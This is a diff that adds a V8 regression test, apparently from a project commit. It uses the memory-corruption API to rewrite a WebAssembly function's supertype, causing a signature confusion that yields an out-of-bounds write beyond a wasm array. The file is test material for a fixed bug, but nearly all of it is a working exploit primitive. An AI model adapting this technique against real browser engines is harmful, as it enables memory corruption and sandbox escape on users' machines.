|
| 1 | +// Copyright 2025 the V8 project authors. All rights reserved. |
| 2 | +// Use of this source code is governed by a BSD-style license that can be |
| 3 | +// found in the LICENSE file. |
| 4 | + |
| 5 | +// Flags: --expose-memory-corruption-api |
| 6 | + |
| 7 | +d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js'); |
| 8 | + |
| 9 | +// Prepare corruption utilities. |
| 10 | +const kHeapObjectTag = 1; |
| 11 | +const kWasmGlobalObjectTaggedBufferOffset = 0x14; |
| 12 | +const kFixedArrayElement0Offset = 0x8; |
| 13 | +const kMapOffset = 0; |
| 14 | +const kFuncRefMapTypeInfoOffset = 0x14; |
| 15 | +const kTypeInfoSupertypesOffset = 0x10; |
| 16 | +let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000)); |
| 17 | +function getPtr(obj) { |
| 18 | + return Sandbox.getAddressOf(obj) + kHeapObjectTag; |
| 19 | +} |
| 20 | +function getObj(ofs) { |
| 21 | + return Sandbox.getObjectAt(ofs); |
| 22 | +} |
| 23 | +function getField(obj, offset) { |
| 24 | + return memory.getUint32(obj + offset - kHeapObjectTag, true); |
| 25 | +} |
| 26 | +function setField(obj, offset, value) { |
| 27 | + memory.setUint32(obj + offset - kHeapObjectTag, value, true); |
| 28 | +} |
| 29 | + |
| 30 | +let builder = new WasmModuleBuilder(); |
| 31 | + |
| 32 | +let $u8arr = builder.addArray(kWasmI8, true); |
| 33 | +let $sig_i_l = builder.addType(kSig_i_l, kNoSuperType, false); |
| 34 | +let $sig_l_l = builder.addType(kSig_l_l, kNoSuperType, false); |
| 35 | +let $sig_u8arr_i = builder.addType(makeSig([kWasmI32], [wasmRefType($u8arr)])); |
| 36 | +let $sig_i_u8arrl = builder.addType(makeSig([wasmRefType($u8arr), kWasmI64], [kWasmI32])); |
| 37 | +let $sig_v_u8arrli = builder.addType(makeSig([wasmRefType($u8arr), kWasmI64, kWasmI32], [])); |
| 38 | + |
| 39 | +builder.addFunction('fn_i_l', $sig_i_l).addBody([ |
| 40 | + ...wasmI32Const(0), |
| 41 | +]).exportFunc(); |
| 42 | +let $fn_l_l = builder.addFunction('fn_l_l', $sig_l_l).addBody([ |
| 43 | + kExprLocalGet, 0, |
| 44 | +]).exportFunc(); |
| 45 | +let $t = builder.addTable(kWasmAnyFunc, 1, 1, [kExprRefFunc, ...wasmSignedLeb($fn_l_l.index)]); |
| 46 | + |
| 47 | +builder.addFunction('alloc_u8arr', $sig_u8arr_i).addBody([ |
| 48 | + kExprLocalGet, 0, |
| 49 | + kGCPrefix, kExprArrayNewDefault, $u8arr, |
| 50 | +]).exportFunc(); |
| 51 | + |
| 52 | +builder.addFunction(`u8arr_get`, $sig_i_u8arrl).addBody([ |
| 53 | + kExprLocalGet, 0, |
| 54 | + kExprLocalGet, 1, // i64 index |
| 55 | + ...wasmI32Const(0), // confuse i64 into i32 with a signature hash compatible function (i64->i64 vs i64->i32) |
| 56 | + kExprCallIndirect, ...wasmSignedLeb($sig_i_l), ...wasmSignedLeb($t.index), |
| 57 | + kGCPrefix, kExprArrayGetU, ...wasmSignedLeb($u8arr), // array indexing, uses full 64bit regs as is on x86-64 (+ kWasmI8 avoids i32 shl) |
| 58 | +]).exportFunc(); |
| 59 | + |
| 60 | +builder.addFunction(`u8arr_set`, $sig_v_u8arrli).addBody([ |
| 61 | + kExprLocalGet, 0, |
| 62 | + |
| 63 | + kExprLocalGet, 1, |
| 64 | + ...wasmI32Const(0), |
| 65 | + kExprCallIndirect, ...wasmSignedLeb($sig_i_l), ...wasmSignedLeb($t.index), |
| 66 | + kExprLocalGet, 2, |
| 67 | + kGCPrefix, kExprArraySet, ...wasmSignedLeb($u8arr), |
| 68 | +]).exportFunc(); |
| 69 | + |
| 70 | +let instance = builder.instantiate(); |
| 71 | +let {fn_i_l, fn_l_l, alloc_u8arr, u8arr_get, u8arr_set} = instance.exports; |
| 72 | + |
| 73 | +function extract_wasmglobal_value(global) { |
| 74 | + let pbuf = getField(getPtr(global), kWasmGlobalObjectTaggedBufferOffset); |
| 75 | + let pval = getField(pbuf, kFixedArrayElement0Offset); |
| 76 | + return pval; |
| 77 | +} |
| 78 | + |
| 79 | +function set_supertype(sub_fn, super_fn) { |
| 80 | + let g = new WebAssembly.Global({value: 'anyfunc', mutable: true}); |
| 81 | + |
| 82 | + g.value = sub_fn; |
| 83 | + let funcref_sub = extract_wasmglobal_value(g); // WASM_FUNC_REF_TYPE |
| 84 | + let map_sub = getField(funcref_sub, kMapOffset); // Map of WASM_FUNC_REF_TYPE |
| 85 | + let typeinfo_sub = getField(map_sub, kFuncRefMapTypeInfoOffset); // WASM_TYPE_INFO_TYPE |
| 86 | + |
| 87 | + g.value = super_fn; |
| 88 | + let funcref_sup = extract_wasmglobal_value(g); |
| 89 | + let map_sup = getField(funcref_sup, kMapOffset); |
| 90 | + |
| 91 | + // typeinfo_sub.supertypes[0] = map_sup |
| 92 | + setField(typeinfo_sub, kTypeInfoSupertypesOffset, map_sup); |
| 93 | +} |
| 94 | + |
| 95 | +// set $sig_l_l <: $sig_i_l |
| 96 | +set_supertype(fn_l_l, fn_i_l); |
| 97 | + |
| 98 | +// alloc u8arr of length 0x100000. |
| 99 | +let u8arr = alloc_u8arr(0x100000); |
| 100 | + |
| 101 | +// oob write |
| 102 | +let MASK64 = (1n<<64n)-1n; |
| 103 | +function write8(ptr, val) { |
| 104 | + u8arr_set(u8arr, ptr & MASK64, val); |
| 105 | +} |
| 106 | +// Try to write at a huge offset; this should get truncated to 32-bit and |
| 107 | +// succeed. |
| 108 | +write8(0x424200012345n, 0x43); |
0 commit comments